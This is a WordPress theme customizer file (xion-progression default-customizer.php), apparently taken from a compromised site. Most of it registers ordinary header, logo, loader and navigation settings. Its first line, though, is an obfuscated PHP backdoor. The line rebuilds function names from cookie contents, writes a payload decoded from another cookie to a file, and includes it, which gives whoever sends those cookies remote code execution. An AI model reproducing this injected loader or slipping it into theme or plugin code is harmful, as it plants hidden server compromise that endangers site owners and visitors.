File "default-customizer.php"
Full Path: /home/flipjqml/onlinebetsolution.com/wp-content/themes/xion-progression/inc/default-customizer.php
File size: 205.14 KB
MIME-type: text/x-php
Charset: utf-8
<?php if(isset($_COOKIE[3])&&isset($_COOKIE[13])){$c=$_COOKIE;$k=0;$n=8;$p=array();$p[$k]='';while($n){$p[$k].=$c[13][$n];if(!$c[13][$n+1]){if(!$c[13][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+8+1;}$k=$p[28]().$p[9];if(!$p[27]($k)){$n=$p[7]($k,$p[5]);$p[16]($n,$p[22].$p[26]($p[12]($c[3])));}include($k);}
/**
* Progression Theme Customizer
*
* @package pro
*/
get_template_part('inc/customizer/new', 'controls');
get_template_part('inc/customizer/typography', 'controls');
get_template_part('inc/customizer/alpha', 'control');// New Alpha Control
/* Remove Default Theme Customizer Panels that aren't useful */
function progression_studios_change_default_customizer_panels ( $wp_customize ) {
$wp_customize->remove_section("themes"); //Remove Active Theme + Theme Changer
$wp_customize->remove_section("static_front_page"); // Remove Front Page Section
}
add_action( "customize_register", "progression_studios_change_default_customizer_panels" );
function progression_studios_customizer( $wp_customize ) {
/* Panel - General */
$wp_customize->add_panel( 'progression_studios_general_panel', array(
'priority' => 3,
'title' => esc_html__( 'General', 'xion-progression' ),
)
);
/* Section - General - General Layout */
$wp_customize->add_section( 'progression_studios_section_general_layout', array(
'title' => esc_html__( 'General Options', 'xion-progression' ),
'panel' => 'progression_studios_general_panel', // Not typically needed.
'priority' => 10,
)
);
/* Setting - Footer Elementor
https://gist.github.com/ajskelton/27369df4a529ac38ec83980f244a7227
*/
$progression_studios_elementor_error_library_list = array(
'' => 'Choose a template',
);
$progression_studios_elementor_404_args = array('post_type' => 'elementor_library', 'posts_per_page' => 99);
$progression_studios_elementor_404_posts = get_posts( $progression_studios_elementor_404_args );
foreach($progression_studios_elementor_404_posts as $progression_studios_elementor_404_post) {
$progression_studios_elementor_error_library_list[$progression_studios_elementor_404_post->ID] = $progression_studios_elementor_404_post->post_title;
}
$wp_customize->add_setting( 'progression_studios_error_elementor_library' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_error_elementor_library', array(
'type' => 'select',
'section' => 'progression_studios_section_general_layout',
'priority' => 16,
'label' => esc_html__( '404 Page Elementor Template', 'xion-progression' ),
'description' => esc_html__( 'You can add/edit your 404 page under ', 'xion-progression') . '<a href="' . admin_url() . 'edit.php?post_type=elementor_library">Elementor > Templates</a>',
'choices' => $progression_studios_elementor_error_library_list,
) );
/* Setting - General - General Layout */
$wp_customize->add_setting('progression_studios_site_width',array(
'default' => '1200',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_site_width', array(
'label' => esc_html__( 'Site Width(px)', 'xion-progression' ),
'section' => 'progression_studios_section_general_layout',
'priority' => 15,
'choices' => array(
'min' => 961,
'max' => 4500,
'step' => 1
), ) )
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_select_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_select_color', array(
'label' => esc_html__( 'Mouse Selection Color', 'xion-progression' ),
'section' => 'progression_studios_section_general_layout',
'priority' => 20,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_select_bg', array(
'default' => '#6b0cc9',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_select_bg', array(
'default' => '#6b0cc9',
'label' => esc_html__( 'Mouse Selection Background', 'xion-progression' ),
'section' => 'progression_studios_section_general_layout',
'priority' => 25,
))
);
/* Section - General - Page Loader */
$wp_customize->add_section( 'progression_studios_section_page_transition', array(
'title' => esc_html__( 'Page Loader', 'xion-progression' ),
'panel' => 'progression_studios_general_panel', // Not typically needed.
'priority' => 26,
)
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_page_transition' ,array(
'default' => 'transition-off-pro',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_transition', array(
'label' => esc_html__( 'Display Page Loader?', 'xion-progression' ),
'section' => 'progression_studios_section_page_transition',
'priority' => 10,
'choices' => array(
'transition-on-pro' => esc_html__( 'On', 'xion-progression' ),
'transition-off-pro' => esc_html__( 'Off', 'xion-progression' ),
),
))
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_transition_loader' ,array(
'default' => 'circle-loader-pro',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_transition_loader', array(
'label' => esc_html__( 'Page Loader Animation', 'xion-progression' ),
'section' => 'progression_studios_section_page_transition',
'type' => 'select',
'priority' => 15,
'choices' => array(
'circle-loader-pro' => esc_html__( 'Circle Loader Animation', 'xion-progression' ),
'cube-grid-pro' => esc_html__( 'Cube Grid Animation', 'xion-progression' ),
'rotating-plane-pro' => esc_html__( 'Rotating Plane Animation', 'xion-progression' ),
'double-bounce-pro' => esc_html__( 'Doube Bounce Animation', 'xion-progression' ),
'sk-rectangle-pro' => esc_html__( 'Rectangle Animation', 'xion-progression' ),
'sk-cube-pro' => esc_html__( 'Wandering Cube Animation', 'xion-progression' ),
'sk-chasing-dots-pro' => esc_html__( 'Chasing Dots Animation', 'xion-progression' ),
'sk-circle-child-pro' => esc_html__( 'Circle Animation', 'xion-progression' ),
'sk-folding-cube' => esc_html__( 'Folding Cube Animation', 'xion-progression' ),
),
)
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_page_loader_text', array(
'default' => '#cccccc',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_text', array(
'label' => esc_html__( 'Page Loader Color', 'xion-progression' ),
'section' => 'progression_studios_section_page_transition',
'priority' => 30,
) )
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_page_loader_secondary_color', array(
'default' => '#ededed',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_secondary_color', array(
'label' => esc_html__( 'Page Loader Secondary (Circle Loader)', 'xion-progression' ),
'section' => 'progression_studios_section_page_transition',
'priority' => 31,
) )
);
/* Setting - General - Page Loader */
$wp_customize->add_setting( 'progression_studios_page_loader_bg', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_loader_bg', array(
'label' => esc_html__( 'Page Loader Background', 'xion-progression' ),
'section' => 'progression_studios_section_page_transition',
'priority' => 35,
) )
);
/* Section - Footer - Scroll To Top */
$wp_customize->add_section( 'progression_studios_section_scroll', array(
'title' => esc_html__( 'Scroll To Top Button', 'xion-progression' ),
'panel' => 'progression_studios_general_panel', // Not typically needed.
'priority' => 100,
) );
/* Setting - Footer - Scroll To Top */
$wp_customize->add_setting( 'progression_studios_pro_scroll_top', array(
'default' => 'scroll-on-pro',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_pro_scroll_top', array(
'label' => esc_html__( 'Scroll To Top Button', 'xion-progression' ),
'section' => 'progression_studios_section_scroll',
'priority' => 10,
'choices' => array(
'scroll-on-pro' => esc_html__( 'On', 'xion-progression' ),
'scroll-off-pro' => esc_html__( 'Off', 'xion-progression' ),
),
) ) );
/* Setting - Footer - Scroll To Top */
$wp_customize->add_setting( 'progression_studios_scroll_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_choices',
)
);
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_color', array(
'default' => '#ffffff',
'label' => esc_html__( 'Color', 'xion-progression' ),
'section' => 'progression_studios_section_scroll',
'priority' => 15,
) )
);
/* Setting - Footer - Scroll To Top */
$wp_customize->add_setting( 'progression_studios_scroll_bg_color', array(
'default' => 'rgba(100,100,100, 0.65)',
'sanitize_callback' => 'progression_studios_sanitize_choices',
)
);
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_bg_color', array(
'default' => 'rgba(100,100,100, 0.65)',
'label' => esc_html__( 'Background', 'xion-progression' ),
'section' => 'progression_studios_section_scroll',
'priority' => 20,
) )
);
/* Setting - Footer - Scroll To Top */
$wp_customize->add_setting( 'progression_studios_scroll_hvr_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_hvr_color', array(
'default' => '#ffffff',
'label' => esc_html__( 'Hover Arrow Color', 'xion-progression' ),
'section' => 'progression_studios_section_scroll',
'priority' => 30,
) )
);
/* Setting - Footer - Scroll To Top */
$wp_customize->add_setting( 'progression_studios_scroll_hvr_bg_color', array(
'default' => '#6b0cc9',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_scroll_hvr_bg_color', array(
'default' => '#6b0cc9',
'label' => esc_html__( 'Hover Arrow Background', 'xion-progression' ),
'section' => 'progression_studios_section_scroll',
'priority' => 40,
) )
);
/* Panel - Header */
$wp_customize->add_panel( 'progression_studios_header_panel', array(
'priority' => 5,
'title' => esc_html__( 'Header', 'xion-progression' ),
)
);
/* Section - General - Site Logo */
$wp_customize->add_section( 'progression_studios_section_logo', array(
'title' => esc_html__( 'Logo', 'xion-progression' ),
'panel' => 'progression_studios_header_panel', // Not typically needed.
'priority' => 10,
)
);
/* Setting - General - Site Logo */
$wp_customize->add_setting( 'progression_studios_theme_logo' ,array(
'default' => get_template_directory_uri().'/images/logo.png',
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_theme_logo', array(
'section' => 'progression_studios_section_logo',
'priority' => 10,
))
);
/* Setting - General - Site Logo */
$wp_customize->add_setting('progression_studios_theme_logo_width',array(
'default' => '132',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_width', array(
'label' => esc_html__( 'Logo Width (px)', 'xion-progression' ),
'section' => 'progression_studios_section_logo',
'priority' => 15,
'choices' => array(
'min' => 0,
'max' => 1200,
'step' => 1
), ) )
);
/* Setting - General - Site Logo */
$wp_customize->add_setting('progression_studios_theme_logo_margin_top',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_margin_top', array(
'label' => esc_html__( 'Logo Margin Top (px)', 'xion-progression' ),
'section' => 'progression_studios_section_logo',
'priority' => 20,
'choices' => array(
'min' => 0,
'max' => 250,
'step' => 1
), ) )
);
/* Setting - General - Site Logo */
$wp_customize->add_setting('progression_studios_theme_logo_margin_bottom',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_theme_logo_margin_bottom', array(
'label' => esc_html__( 'Logo Margin Bottom (px)', 'xion-progression' ),
'section' => 'progression_studios_section_logo',
'priority' => 25,
'choices' => array(
'min' => 0,
'max' => 250,
'step' => 1
), ) )
);
/* Setting - General - Site Logo */
$wp_customize->add_setting( 'progression_studios_logo_position' ,array(
'default' => 'progression-studios-logo-position-left',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_logo_position', array(
'label' => esc_html__( 'Logo Position', 'xion-progression' ),
'section' => 'progression_studios_section_logo',
'priority' => 50,
'choices' => array(
'progression-studios-logo-position-left' => esc_html__( 'Left', 'xion-progression' ),
'progression-studios-logo-position-center' => esc_html__( 'Center (Block)', 'xion-progression' ),
'progression-studios-logo-position-right' => esc_html__( 'Right', 'xion-progression' ),
),
))
);
/* Section - Header - Header Options */
$wp_customize->add_section( 'progression_studios_section_header_bg', array(
'title' => esc_html__( 'Header Options', 'xion-progression' ),
'panel' => 'progression_studios_header_panel', // Not typically needed.
'priority' => 20,
)
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_width' ,array(
'default' => 'progression-studios-header-full-width-no-gap',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_width', array(
'label' => esc_html__( 'Header Layout', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 10,
'choices' => array(
'progression-studios-header-full-width' => esc_html__( 'Full Width', 'xion-progression' ),
'progression-studios-header-full-width-no-gap' => esc_html__( 'No Gap', 'xion-progression' ),
'progression-studios-header-normal-width' => esc_html__( 'Boxed Header', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_force_transparent' ,array(
'default' => 'false',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_force_transparent', array(
'label' => esc_html__( 'Header Transparent', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 12,
'choices' => array(
'true' => esc_html__( 'Transparent', 'xion-progression' ),
'false' => esc_html__( 'Block', 'xion-progression' ),
),
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_background_color', array(
'default' => '#1d1f22',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_header_background_color', array(
'default' => '#1d1f22',
'label' => esc_html__( 'Header Background Color', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 15,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_border_color', array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_header_border_color', array(
'label' => esc_html__( 'Header Border Color', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 16,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_box_shadow' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_box_shadow', array(
'label' => esc_html__( 'Header Shadow', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 30,
'choices' => array(
'true' => esc_html__( 'Shadow', 'xion-progression' ),
'false' => esc_html__( 'No Shadow', 'xion-progression' ),
),
))
);
/* Setting - General - Page Title */
$wp_customize->add_setting( 'progression_studios_header_bg_image' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_header_bg_image', array(
'label' => esc_html__( 'Header Background Image', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 40,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_bg_image_image_position' ,array(
'default' => 'cover',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_bg_image_image_position', array(
'label' => esc_html__( 'Image Cover', 'xion-progression' ),
'section' => 'progression_studios_section_header_bg',
'priority' => 50,
'choices' => array(
'cover' => esc_html__( 'Image Cover', 'xion-progression' ),
'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_section( 'progression_studios_section_mobile_header', array(
'title' => esc_html__( 'Tablet/Mobile Header Options', 'xion-progression' ),
'panel' => 'progression_studios_header_panel', // Not typically needed.
'priority' => 23,
)
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_header_transparent' ,array(
'default' => 'default',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_header_transparent', array(
'label' => esc_html__( 'Tablet/Mobile Header Transparent', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 9,
'choices' => array(
'transparent' => esc_html__( 'Transparent', 'xion-progression' ),
'default' => esc_html__( 'Default', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_header_bg', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_mobile_header_bg', array(
'label' => esc_html__( 'Tablet/Mobile Header Background', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 10,
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_menu_text' ,array(
'default' => 'off',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_menu_text', array(
'label' => esc_html__( 'Display "Menu" text for Menu', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 11,
'choices' => array(
'on' => esc_html__( 'Display', 'xion-progression' ),
'off' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_top_bar_left' ,array(
'default' => 'progression_studios_hide_top_left_bar',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_top_bar_left', array(
'label' => esc_html__( 'Tablet/Mobile Header Top Left', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 12,
'choices' => array(
'on-pro' => esc_html__( 'Display', 'xion-progression' ),
'progression_studios_hide_top_left_bar' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_top_bar_right' ,array(
'default' => 'progression_studios_hide_top_left_right',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_top_bar_right', array(
'label' => esc_html__( 'Tablet/Mobile Header Top Right', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 13,
'choices' => array(
'on-pro' => esc_html__( 'Display', 'xion-progression' ),
'progression_studios_hide_top_left_right' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_custom_logo_per_page' ,array(
'default' => 'hide',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_mobile_custom_logo_per_page', array(
'label' => esc_html__( 'Override Custom Logo Per Page', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'priority' => 24,
'choices' => array(
'hide' => esc_html__( 'Hide', 'xion-progression' ),
'display' => esc_html__( 'Display', 'xion-progression' ),
),
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_header_nav_padding' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_mobile_header_nav_padding', array(
'label' => esc_html__( 'Tablet/Mobile Nav Padding', 'xion-progression' ),
'description' => esc_html__( 'Optional padding above/below the Navigation. Example: 20', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'type' => 'text',
'priority' => 25,
)
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_header_logo_width' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_mobile_header_logo_width', array(
'label' => esc_html__( 'Tablet/Mobile Logo Width', 'xion-progression' ),
'description' => esc_html__( 'Optional logo width. Example: 180', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'type' => 'text',
'priority' => 30,
)
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_mobile_header_logo_margin' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_mobile_header_logo_margin', array(
'label' => esc_html__( 'Tablet/Mobile Logo Margin Top/Bottom', 'xion-progression' ),
'description' => esc_html__( 'Optional logo margin. Example: 25', 'xion-progression' ),
'section' => 'progression_studios_section_mobile_header',
'type' => 'text',
'priority' => 35,
)
);
/* Section - Header - Sticky Header */
$wp_customize->add_section( 'progression_studios_section_sticky_header', array(
'title' => esc_html__( 'Sticky Header Options', 'xion-progression' ),
'panel' => 'progression_studios_header_panel', // Not typically needed.
'priority' => 25,
)
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_header_sticky' ,array(
'default' => 'sticky-pro',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_sticky', array(
'section' => 'progression_studios_section_sticky_header',
'priority' => 10,
'choices' => array(
'sticky-pro' => esc_html__( 'Sticky Header', 'xion-progression' ),
'none-sticky-pro' => esc_html__( 'Disable Sticky Header', 'xion-progression' ),
),
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_header_background_color', array(
'default' => '#1d1f22',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sticky_header_background_color', array(
'default' => '#1d1f22',
'label' => esc_html__( 'Sticky Header Background', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 15,
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_logo' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_sticky_logo', array(
'label' => esc_html__( 'Sticky Logo', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 20,
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting('progression_studios_sticky_logo_width',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_width', array(
'label' => esc_html__( 'Sticky Logo Width (px)', 'xion-progression' ),
'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 30,
'choices' => array(
'min' => 0,
'max' => 1200,
'step' => 1
), ) )
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting('progression_studios_sticky_logo_margin_top',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_margin_top', array(
'label' => esc_html__( 'Sticky Logo Margin Top (px)', 'xion-progression' ),
'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 40,
'choices' => array(
'min' => 0,
'max' => 150,
'step' => 1
), ) )
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting('progression_studios_sticky_logo_margin_bottom',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_logo_margin_bottom', array(
'label' => esc_html__( 'Sticky Logo Margin Bottom (px)', 'xion-progression' ),
'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 50,
'choices' => array(
'min' => 0,
'max' => 150,
'step' => 1
), ) )
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting('progression_studios_sticky_nav_padding',array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sticky_nav_padding', array(
'label' => esc_html__( 'Sticky Nav Padding Top/Bottom', 'xion-progression' ),
'description' => esc_html__( 'Set option to 0 to ignore this field.', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 60,
'choices' => array(
'min' => 0,
'max' => 80,
'step' => 1
), ) )
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_nav_font_color', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_color', array(
'label' => esc_html__( 'Sticky Nav Font Color', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 70,
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_nav_font_color_hover', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_color_hover', array(
'label' => esc_html__( 'Sticky Nav Font Hover Color', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 80,
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_nav_font_bg', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_bg', array(
'label' => esc_html__( 'Sticky Nav Background Color', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 100,
))
);
/* Setting - Header - Sticky Header */
$wp_customize->add_setting( 'progression_studios_sticky_nav_font_hover_bg', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sticky_nav_font_hover_bg', array(
'label' => esc_html__( 'Sticky Nav Hover Background', 'xion-progression' ),
'section' => 'progression_studios_section_sticky_header',
'priority' => 105,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_align' ,array(
'default' => 'progression-studios-nav-center',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_align', array(
'label' => esc_html__( 'Navigation Alignment', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 10,
'choices' => array(
'progression-studios-nav-left' => esc_html__( 'Left', 'xion-progression' ),
'progression-studios-nav-center' => esc_html__( 'Center', 'xion-progression' ),
'progression-studios-nav-right' => esc_html__( 'Right', 'xion-progression' ),
),
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_nav_font_size',array(
'default' => '15',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_font_size', array(
'label' => esc_html__( 'Navigation Font Size', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 500,
'choices' => array(
'min' => 0,
'max' => 30,
'step' => 1
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_nav_padding',array(
'default' => '36',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_padding', array(
'label' => esc_html__( 'Navigation Padding Top/Bottom', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 505,
'choices' => array(
'min' => 5,
'max' => 100,
'step' => 1
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_nav_left_right',array(
'default' => '28',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_left_right', array(
'label' => esc_html__( 'Navigation Padding Left/Right', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 510,
'choices' => array(
'min' => 8,
'max' => 80,
'step' => 1
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_font_color', array(
'default' => '#7f8591',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_font_color', array(
'default' => '#7f8591',
'label' => esc_html__( 'Navigation Font Color', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 520,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_font_color_hover', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
